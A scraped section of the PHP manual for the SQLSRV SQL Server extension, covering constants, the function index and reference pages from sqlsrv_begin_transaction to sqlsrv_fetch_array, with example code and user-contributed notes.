Indicates a transaction isolation level of READ UNCOMMITTED. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_TXN_READ_COMMITTED (int)
Indicates a transaction isolation level of READ COMMITTED. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_TXN_REPEATABLE_READ (int)
Indicates a transaction isolation level of REPEATABLE READ. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_TXN_SNAPSHOT (int)
Indicates a transaction isolation level of SNAPSHOT. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_TXN_READ_SERIALIZABLE (int)
Indicates a transaction isolation level of SERIALIZABLE. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_CURSOR_FORWARD (int)
Indicates a forward-only cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_STATIC (int)
Indicates a static cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_DYNAMIC (int)
Indicates a dynamic cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_KEYSET (int)
Indicates a keyset cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_BUFFERED (int)
Creates a client-side cursor query. Lets you access rows in any order. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_NEXT (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_PRIOR (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_FIRST (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_LAST (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_ABSOLUTE (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_RELATIVE (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.

User Contributed Notes

There are no user contributed notes for this page.


SQLSRV 函数

Table of Contents

  • sqlsrv_begin_transaction — Begins a database transaction
  • sqlsrv_cancel — Cancels a statement
  • sqlsrv_client_info — Returns information about the client and specified connection
  • sqlsrv_close — Closes an open connection and releases resourses associated with the connection
  • sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_configure — Changes the driver error handling and logging configurations
  • sqlsrv_connect — Opens a connection to a Microsoft SQL Server database
  • sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare
  • sqlsrv_fetch_array — Returns a row as an array
  • sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object
  • sqlsrv_fetch — Makes the next row in a result set available for reading
  • sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
  • sqlsrv_free_stmt — Frees all resources for the specified statement
  • sqlsrv_get_config — Returns the value of the specified configuration setting
  • sqlsrv_get_field — Gets field data from the currently selected row
  • sqlsrv_has_rows — Indicates whether the specified statement has rows
  • sqlsrv_next_result — Makes the next result of the specified statement active
  • sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement
  • sqlsrv_num_rows — Retrieves the number of rows in a result set
  • sqlsrv_prepare — Prepares a query for execution
  • sqlsrv_query — Prepares and executes a query
  • sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed
  • sqlsrv_send_stream_data — Sends data from parameter streams to the server
  • sqlsrv_server_info — Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.


Begins a database transaction

  • ? SQLSRV 函数
  • sqlsrv_cancel ?
  • PHP Manual
  • SQLSRV 函数
  • Begins a database transaction

sqlsrv_begin_transaction

(No version information available, might only be in Git)

sqlsrv_begin_transaction — Begins a database transaction

说明

sqlsrv_begin_transaction(resource $conn): bool

The transaction begun by sqlsrv_begin_transaction() includes all statements that were executed after the call to sqlsrv_begin_transaction() and before calls to sqlsrv_rollback() or sqlsrv_commit(). Explicit transactions should be started and committed or rolled back using these functions instead of executing SQL statements that begin and commit/roll back transactions. For more information, see » SQLSRV Transactions.

参数

conn

The connection resource returned by a call to sqlsrv_connect().

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 sqlsrv_begin_transaction() example

The following example demonstrates how to use sqlsrv_begin_transaction() together with sqlsrv_commit() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
SET Quantity = (Quantity - ?)
WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
sqlsrv_commit( $conn );
echo "Transaction committed.<br />";
} else {
sqlsrv_rollback( $conn );
echo "Transaction rolled back.<br />";
}
?>

以上示例的输出类似于：

参见

  • sqlsrv_commit() - Commits a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_rollback() - Rolls back a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Cancels a statement

  • ? sqlsrv_begin_transaction
  • sqlsrv_client_info ?
  • PHP Manual
  • SQLSRV 函数
  • Cancels a statement

sqlsrv_cancel

(No version information available, might only be in Git)

sqlsrv_cancel — Cancels a statement

说明

sqlsrv_cancel(resource $stmt): bool

Cancels a statement. Any results associated with the statement that have not been consumed are deleted. After sqlsrv_cancel() has been called, the specified statement can be re-executed if it was created with sqlsrv_prepare(). Calling sqlsrv_cancel() is not necessary if all the results associated with the statement have been consumed.

参数

stmt

The statement resource to be cancelled.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 sqlsrv_cancel() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Sales FROM Table_1";

$stmt = sqlsrv_prepare( $conn, $sql);

if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

if( sqlsrv_execute( $stmt ) === false) {
die( print_r( sqlsrv_errors(), true));
}

$salesTotal = 0;
$count = 0;

while( ($row = sqlsrv_fetch_array( $stmt)) && $salesTotal <=100000)
{
$qty = $row[0];
$price = $row[1];
$salesTotal += ( $price * $qty);
$count++;
}

echo "$count sales accounted for the first $$salesTotal in revenue.<br />";

// Cancel the pending results. The statement can be reused.
sqlsrv_cancel( $stmt);
?>

注释

The main difference between sqlsrv_cancel() and sqlsrv_free_stmt() is that a statement resource cancelled with sqlsrv_cancel() can be re-executed if it was created with sqlsrv_prepare(). A statement resource cancelled with sqlsrv_free_statement() cannot be re-executed.

参见

  • sqlsrv_free_stmt() - Frees all resources for the specified statement
  • sqlsrv_prepare() - Prepares a query for execution

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the client and specified connection

  • ? sqlsrv_cancel
  • sqlsrv_close ?
  • PHP Manual
  • SQLSRV 函数
  • Returns information about the client and specified connection

sqlsrv_client_info

(No version information available, might only be in Git)

sqlsrv_client_info — Returns information about the client and specified connection

说明

sqlsrv_client_info(resource $conn): array

Returns information about the client and specified connection

参数

conn

The connection about which information is returned.

返回值

Returns an associative array with keys described in the table below. Returns false otherwise.

Array returned by sqlsrv_client_info
Key | Description
DriverDllName | SQLNCLI10.DLL
DriverODBCVer | ODBC version (xx.yy)
DriverVer | SQL Server Native Client DLL version (10.5.xxx)
ExtensionVer | php_sqlsrv.dll version (2.0.xxx.x)

示例

Example #1 sqlsrv_client_info() example

<?php
$serverName = "serverName\sqlexpress";
$connOptions = array("UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connOptions );

if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

if( $client_info = sqlsrv_client_info( $conn)) {
foreach( $client_info as $key => $value) {
echo $key.": ".$value."<br />";
}
} else {
echo "Error in retrieving client info.<br />";
}
?>

参见

  • sqlsrv_server_info() - Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.


Closes an open connection and releases resourses associated with the connection

  • ? sqlsrv_client_info
  • sqlsrv_commit ?
  • PHP Manual
  • SQLSRV 函数
  • Closes an open connection and releases resourses associated with the connection

sqlsrv_close

(No version information available, might only be in Git)

sqlsrv_close — Closes an open connection and releases resourses associated with the connection

说明

sqlsrv_close(resource $conn): bool

Closes an open connection and releases resourses associated with the connection.

参数

conn

The connection to be closed.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 sqlsrv_close() example

<?php
$serverName = "serverName\sqlexpres";
$connOptions = array("UID"=>"username", "PWD"=>"password", "Database"=>"dbname");
$conn = sqlsrv_connect( $serverName, $connOptions );
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

//-------------------------------------
// Perform database operations here.
//-------------------------------------

// Close the connection.
sqlsrv_close( $conn );
?>

参见

  • sqlsrv_connect() - Opens a connection to a Microsoft SQL Server database

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction that was begun with sqlsrv_begin_transaction

  • ? sqlsrv_close
  • sqlsrv_configure ?
  • PHP Manual
  • SQLSRV 函数
  • Commits a transaction that was begun with sqlsrv_begin_transaction

sqlsrv_commit

(No version information available, might only be in Git)

sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction()

说明

sqlsrv_commit(resource $conn): bool

Commits a transaction that was begun with sqlsrv_begin_transaction(). The connection is returned to auto-commit mode after sqlsrv_commit() is called. The transaction that is committed includes all statements that were executed after the call to sqlsrv_begin_transaction(). Explicit transactions should be started and committed or rolled back using these functions instead of executing SQL statements that begin and commit/roll back transactions. For more information, see » SQLSRV Transactions.

参数

conn

The connection on which the transaction is to be committed.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 sqlsrv_commit() example

The following example demonstrates how to use sqlsrv_commit() together with sqlsrv_begin_transaction() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
SET Quantity = (Quantity - ?)
WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
sqlsrv_commit( $conn );
echo "Transaction committed.<br />";
} else {
sqlsrv_rollback( $conn );
echo "Transaction rolled back.<br />";
}
?>

参见

  • sqlsrv_begin_transaction() - Begins a database transaction
  • sqlsrv_rollback() - Rolls back a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Changes the driver error handling and logging configurations

  • ? sqlsrv_commit
  • sqlsrv_connect ?
  • PHP Manual
  • SQLSRV 函数
  • Changes the driver error handling and logging configurations

sqlsrv_configure

(No version information available, might only be in Git)

sqlsrv_configure — Changes the driver error handling and logging configurations

说明

sqlsrv_configure(string $setting, mixed $value): bool

Changes the driver error handling and logging configurations.

参数

setting

The name of the setting to set. The possible values are "WarningsReturnAsErrors", "LogSubsystems", and "LogSeverity".

value

The value of the specified setting. The following table shows possible values:

Error and Logging Setting Options
Setting | Options
WarningsReturnAsErrors | 1 (true) or 0 (false)
LogSubsystems | SQLSRV_LOG_SYSTEM_ALL (-1) SQLSRV_LOG_SYSTEM_CONN (2) SQLSRV_LOG_SYSTEM_INIT (1) SQLSRV_LOG_SYSTEM_OFF (0) SQLSRV_LOG_SYSTEM_STMT (4) SQLSRV_LOG_SYSTEM_UTIL (8)
LogSeverity | SQLSRV_LOG_SEVERITY_ALL (-1) SQLSRV_LOG_SEVERITY_ERROR (1) SQLSRV_LOG_SEVERITY_NOTICE (4) SQLSRV_LOG_SEVERITY_WARNING (2)

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • » SQLSRV Error Handling.
  • » Logging SQLSRV Activity.

User Contributed Notes

smhahmadi 05-Jan-2013 04:23
Performance tip:

Beware of the performance penalty involved with unchecked use of logging options. In my case, although I was using the buffered cursor, sqlsrv_fetch_array was running too slowly. The solution was to remove my lavish use of those configuration options (using both SQLSRV_LOG_SYSTEM_ALL and SQLSRV_LOG_SEVERITY_ALL).


Opens a connection to a Microsoft SQL Server database

  • ? sqlsrv_configure
  • sqlsrv_errors ?
  • PHP Manual
  • SQLSRV 函数
  • Opens a connection to a Microsoft SQL Server database

sqlsrv_connect

(No version information available, might only be in Git)

sqlsrv_connect — Opens a connection to a Microsoft SQL Server database

说明

sqlsrv_connect(string $serverName, array $connectionInfo = ?): resource

Opens a connection to a Microsoft SQL Server database. By default, the connection is attempted using Windows Authentication. To connect using SQL Server Authentication, include "UID" and "PWD" in the connection options array.

参数

serverName

The name of the server to which a connection is established. To connect to a specific instance, follow the server name with a backward slash and the instance name (e.g. serverName\sqlexpress).

connectionInfo

An associative array that specifies options for connecting to the server. If values for the UID and PWD keys are not specified, the connection will be attempted using Windows Authentication. For a complete list of supported keys, see » SQLSRV Connection Options.

返回值

A connection resource. If a connection cannot be successfully opened, false is returned.

示例

Example #1 Connect using Windows Authentication.

<?php
$serverName = "serverName\\sqlexpress"; //serverName\instanceName

// Since UID and PWD are not specified in the $connectionInfo array,
// The connection will be attempted using Windows Authentication.
$connectionInfo = array( "Database"=>"dbName");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
echo "Connection established.<br />";
}else{
echo "Connection could not be established.<br />";
die( print_r( sqlsrv_errors(), true));
}
?>

Example #2 Connect by specifying a user name and password.

<?php
$serverName = "serverName\\sqlexpress"; //serverName\instanceName
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
echo "Connection established.<br />";
}else{
echo "Connection could not be established.<br />";
die( print_r( sqlsrv_errors(), true));
}
?>

Example #3 Connect on a specified port.

<?php
$serverName = "serverName\\sqlexpress, 1542"; //serverName\instanceName, portNumber (default is 1433)
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
echo "Connection established.<br />";
}else{
echo "Connection could not be established.<br />";
die( print_r( sqlsrv_errors(), true));
}
?>

注释

By default, the sqlsrv_connect() uses connection pooling to improve connection performance. To turn off connection pooling (i.e. force a new connection on each call), set the "ConnectionPooling" option in the $connectionOptions array to 0 (or false). For more information, see » SQLSRV Connection Pooling.

The SQLSRV extension does not have a dedicated function for changing which database is connected to. The target database is specified in the $connectionOptions array that is passed to sqlsrv_connect. To change the database on an open connection, execute the following query "USE dbName" (e.g. sqlsrv_query($conn, "USE dbName")).

参见

  • sqlsrv_close() - Closes an open connection and releases resourses associated with the connection
  • sqlsrv_errors() - Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

Anonymous 20-Jun-2019 06:38
SQL SERVER 2012 conexion in PHP
<?php
    $serverName = "SERVER"; //serverName\instanceName
    $connectionInfo = array( "Database"=>"base", "UID"=>"ex", "PWD"=>"******");
    $conn = sqlsrv_connect( $serverName, $connectionInfo);
;

        if( $conn ) {
             echo "Conexión establecida.<br />";
        }else{
            echo "Conexión no se pudo establecer.<br />";
            die( print_r( sqlsrv_errors(), true));
        }

    $sql = "SELECT name FROM [base].[dbo].[table]";
    $params = array();
    $options =  array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
    $stmt = sqlsrv_query( $conn, $sql , $params, $options );

    $row_count = sqlsrv_num_rows( $stmt );

        if ($row_count === false)
           echo "Error al obtener datos.";
        else
           echo "bien";
        //echo $row_count;

        while( $row = sqlsrv_fetch_array( $stmt) ) {
              print json_encode($row);
        }

    sqlsrv_close($conn);
?>
mmi at uhb-consulting dot de 05-Sep-2018 06:57
to prevent  [Microsoft][ODBC Driver 17 for SQL Server]String data, right truncation Errors on Linux
you must add the Connection Parameter 'CharacterSet' => "UTF-8"

Tested with with Driver Version 5.3
manav at drupal.org/u/manav 23-Jan-2018 10:16
If anybody wants to use
<?php
//..
  sqlsrv_connect();
//..
?> method to Fedora-25 then user have to install PECL php-sqlsrv library to connect ms-sql server remotely in php script.
In my case i found the same issue but after some search i got this solution and implement it.... now it works.
alvaro at demogracia dot com 08-Sep-2016 09:00
You can use the connectionInfo parameter to specify connection encoding, e.g.:

<?php
$connectionInfo = [
    'CharacterSet' => 'UTF-8',
];
$conn = sqlsrv_connect($serverName, $connectionInfo);
?>

Beware though that only two options exist:
- SQLSRV_ENC_CHAR (constant) for ANSI, which is the default
- 'UTF-8' (string) for Unicode
Eion Robb 07-Oct-2015 03:16
As mentioned at https://msdn.microsoft.com/en-us/library/cc296193.aspx the connection will convert some data into PHP data types.  Of particular difference to other database functions in PHP is that dates will be output as objects instead of strings.

To make the sqlsrv_fetch_{array|object}() functions return dates/times/datetimes as strings instead, specify:
  'ReturnDatesAsStrings' => true
in the $connectionInfo array.

For more info about this behaviour, see https://msdn.microsoft.com/en-us/library/ee376928.aspx


Returns error and warning information about the last SQLSRV operation performed

  • ? sqlsrv_connect
  • sqlsrv_execute ?
  • PHP Manual
  • SQLSRV 函数
  • Returns error and warning information about the last SQLSRV operation performed

sqlsrv_errors

(No version information available, might only be in Git)

sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed

说明

sqlsrv_errors(int $errorsOrWarnings = ?): mixed

Returns error and warning information about the last SQLSRV operation performed.

参数

errorsOrWarnings

Determines whether error information, warning information, or both are returned. If this parameter is not supplied, both error information and warning information are returned. The following are the supported values for this parameter: SQLSRV_ERR_ALL, SQLSRV_ERR_ERRORS, SQLSRV_ERR_WARNINGS.

返回值

If errors and/or warnings occurred on the last sqlsrv operation, an array of arrays containing error information is returned. If no errors and/or warnings occurred on the last sqlsrv operation, null is returned. The following table describes the structure of the returned arrays:

Array returned by sqlsrv_errors
Key | Description
SQLSTATE | For errors that originate from the ODBC driver, the SQLSTATE returned by ODBC. For errors that originate from the Microsoft Drivers for PHP for SQL Server, a SQLSTATE of IMSSP. For warnings that originate from the Microsoft Drivers for PHP for SQL Server, a SQLSTATE of 01SSP.
code | For errors that originate from SQL Server, the native SQL Server error code. For errors that originate from the ODBC driver, the error code returned by ODBC. For errors that originate from the Microsoft Drivers for PHP for SQL Server, the Microsoft Drivers for PHP for SQL Server error code.
message | A description of the error.

示例

Example #1 functionname() example

<?php
$serverName = "serverName/sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

/* Set up a query to select an invalid column name. */
$sql = "SELECT BadColumnName FROM Table_1";

/* Execution of the query will fail because of the bad column name. */
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false ) {
if( ($errors = sqlsrv_errors() ) != null) {
foreach( $errors as $error ) {
echo "SQLSTATE: ".$error[ 'SQLSTATE']."<br />";
echo "code: ".$error[ 'code']."<br />";
echo "message: ".$error[ 'message']."<br />";
}
}
}
?>

注释

By default, warnings generated on a call to any SQLSRV function are treated as errors. This means that if a warning occurs on a call to a SQLSRV function, the function returns false. However, warnings that correspond to SQLSTATE values 01000, 01001, 01003, and 01S02 are never treated as errors. For information about changing this behavior, see sqlsrv_configure() and the WarningsReturnAsErrors setting.

参见

  • sqlsrv_configure() - Changes the driver error handling and logging configurations

User Contributed Notes

There are no user contributed notes for this page.


Executes a statement prepared with sqlsrv_prepare

  • ? sqlsrv_errors
  • sqlsrv_fetch_array ?
  • PHP Manual
  • SQLSRV 函数
  • Executes a statement prepared with sqlsrv_prepare

sqlsrv_execute

(No version information available, might only be in Git)

sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare()

说明

sqlsrv_execute(resource $stmt): bool

Executes a statement prepared with sqlsrv_prepare(). This function is ideal for executing a prepared statement multiple times with different parameter values.

参数

stmt

A statement resource returned by sqlsrv_prepare().

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 sqlsrv_execute() example

This example demonstrates how to prepare a statement with sqlsrv_prepare() and re-execute it multiple times (with different parameter values) using sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
SET OrderQty = ?
WHERE SalesOrderID = ?";

// Initialize parameters and prepare the statement.
// Variables $qty and $id are bound to the statement, $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
die( print_r( sqlsrv_errors(), true));
}

// Set up the SalesOrderDetailID and OrderQty information.
// This array maps the order ID to order quantity in key=>value pairs.
$orders = array( 1=>10, 2=>20, 3=>30);

// Execute the statement for each order.
foreach( $orders as $id => $qty) {
// Because $id and $qty are bound to $stmt1, their updated
// values are used with each execution of the statement.
if( sqlsrv_execute( $stmt ) === false ) {
die( print_r( sqlsrv_errors(), true));
}
}
?>

注释

When you prepare a statement that uses variables as parameters, the variables are bound to the statement. This means that if you update the values of the variables, the next time you execute the statement it will run with updated parameter values. For statements that you plan to execute only once, use sqlsrv_query().

参见

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

esundberg at nitelusa dot com 08-Mar-2020 06:22
Working PDO Prepare and Execute Example

Code
----------------------------------------
print "<h1>PDO Example</h1>";

print "<h2>PDO Connection</h2>";
try {
    $pdo = new PDO("sqlsrv:server=$sql_server;Database=$sql_database",$sql_username,$sql_password,['ReturnDatesAsStrings'=>true]);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch(PDOException $e) {
    echo "Connection failed: " . $e->getMessage();
    die("Database Connection Error");

}

print "<h2>Check for PDO Connection</h2>";
if($pdo === false) {
    print "No DB Connection<br>";
} else {
    print "Good DB Connection<br>";
}

print "<h2>PDO Query Example 1 with SQL Injection</h2>";
print "I Personally prefer pdo due to binding of paramaters by name.<br>";
$sql = "SELECT username, active FROM users WHERE username = :username";
print "SQL: $sql\n";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':username', $username);
$stmt->execute();
while($r = $stmt->fetch(PDO::FETCH_OBJ)) {
    print_r($r);
}

------------------------------------------------------
PDO Example
PDO Connection
Check for PDO Connection
Good DB Connection
PDO Query Example 1 with SQL Injection
I Personally prefer pdo due to binding of paramaters by name.
SQL: SELECT username, active FROM users WHERE username = :username
stdClass Object
(
    [username] => admin
    [active] => 1
)
vavra at 602 dot cz 17-Jan-2018 08:48
Attention!
 If the sql contains INSERT, UPDATE or DELETE statements, the number of affected rows must be consumed. The sqlsrv_query returns a sql cursor that must be read to finish the transaction, if the result is non false. This same is valid for sqlsrv_execute. In this case the cursor must be also read using the prepared statement handle $smt.

Another solution is to place SET NOCOUNT ON at the top of the sqlsrv statement and all called procedures, functions and triggers.

We've practically observed it with sql statement with 500 inserts but only 368 was inserted without false returned. Prefixing by SET NOCOUNT ON or reading a cursor all rows were inserted.

See Processing Results (ODBC): https://docs.microsoft.com/en-us/sql/relational-databases/native-client-odbc-results/processing-results-odbc Each INSERT, UPDATE, and DELETE statement returns a result set containing only the number of rows affected by the modification. This count is made available when application calls SQLRowCount. ODBC 3.x applications must either call SQLRowCount to retrieve the result set or SQLMoreResults to cancel it. When an application executes a batch or stored procedure containing multiple INSERT, UPDATE, or DELETE statements, the result set from each modification statement must be processed using SQLRowCount or cancelled using SQLMoreResults. These counts can be cancelled by including a SET NOCOUNT ON statement in the batch or stored procedure.
tuxedobob 01-Mar-2016 04:53
If you're used to working with sqlsrv_query, you're probably used to the following flow:

<?php
$query = "SELECT * FROM mytable WHERE id=?";
$result = sqlsrv_query($conn, $query, array($myID));
$row = sqlsrv_fetch_array($result);
?>

Given that, you might think the following works:

<?php
$myID = 0;
$query = "SELECT * FROM mytable WHERE id=?";
$stmt = sqlsrv_prepare($conn, $query, array(&$myID));
$result = sqlsrv_execute($stmt);
$row = sqlsrv_fetch_array($result);
?>

It doesn't. The reason is that sqlsrv_execute, as noted above, returns true or false on success or failure, respectively. The variable that has your result is actually $stmt. Change the last row to

<?php
$row = sqlsrv_fetch_array($stmt);
?>

and it works as expected.


Returns a row as an array

  • ? sqlsrv_execute
  • sqlsrv_fetch_object ?
  • PHP Manual
  • SQLSRV 函数
  • Returns a row as an array

sqlsrv_fetch_array

(No version information available, might only be in Git)

sqlsrv_fetch_array — Returns a row as an array

说明

sqlsrv_fetch_array(
resource $stmt,
int $fetchType = ?,
int $row = ?,
int $offset = ?
): array

Returns the next available row of data as an associative array, a numeric array, or both (the default).

参数

stmt

A statement resource returned by sqlsrv_query or sqlsrv_prepare.

fetchType

A predefined constant specifying the type of array to return. Possible values are SQLSRV_FETCH_ASSOC, SQLSRV_FETCH_NUMERIC, and SQLSRV_FETCH_BOTH (the default).

A fetch type of SQLSRV_FETCH_ASSOC should not be used when consuming a result set with multiple columns of the same name.

row

Specifies the row to access in a result set that uses a scrollable cursor. Possible values are SQLSRV_SCROLL_NEXT, SQLSRV_SCROLL_PRIOR, SQLSRV_SCROLL_FIRST, SQLSRV_SCROLL_LAST, SQLSRV_SCROLL_ABSOLUTE and, SQLSRV_SCROLL_RELATIVE (the default). When this parameter is specified, the fetchType must be explicitly defined.

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

返回值

Returns an array on success, null if there are no more rows to return, and false if an error occurs.

示例

Example #1 Retrieving an associative array.

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
echo $row['LastName'].", ".$row['FirstName']."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

Example #2 Retrieving a numeric array.

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_NUMERIC) ) {
echo $row[0].", ".$row[1]."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

注释

Not specifying the fetchType or explicitly using the SQLSRV_FETCH_TYPE constant in the examples above will return an array that has both associative and numeric keys.

If more than one column is returned with the same name, the last column will take precedence. To avoid field name collisions, use aliases.

If a column with no name is returned, the associative key for the array element will be an empty string ("").

参见

  • sqlsrv_connect() - Opens a connection to a Microsoft SQL Server database
  • sqlsrv_query() - Prepares and executes a query
  • sqlsrv_errors() - Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_fetch() - Makes the next row in a result set available for reading

User Contributed Notes

albornozg dot rene at gmail dot com 06-Nov-2018 04:43
Example with an iteration ( SQLSRV_SCROLL_ABSOLUTE ).

for ($i=0; $i < sqlsrv_num_rows($stmt); $i++) {

     $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_NUMERIC,   SQLSRV_SCROLL_ABSOLUTE   ,  $i  );
     echo "value of column 1: '.trim($row[0]).', value of column 2: '.trim($row[1]);

}
dlyasaitov184 at yandex dot ru 10-Aug-2017 09:55
When I try to  use SQLSRV_FETCH_BOTH for SQL-statement   about "select ... from [viewName]" result set contained superfluous fields( duplicates and other fields from joined tables).  Other types of fetchType work correctly.
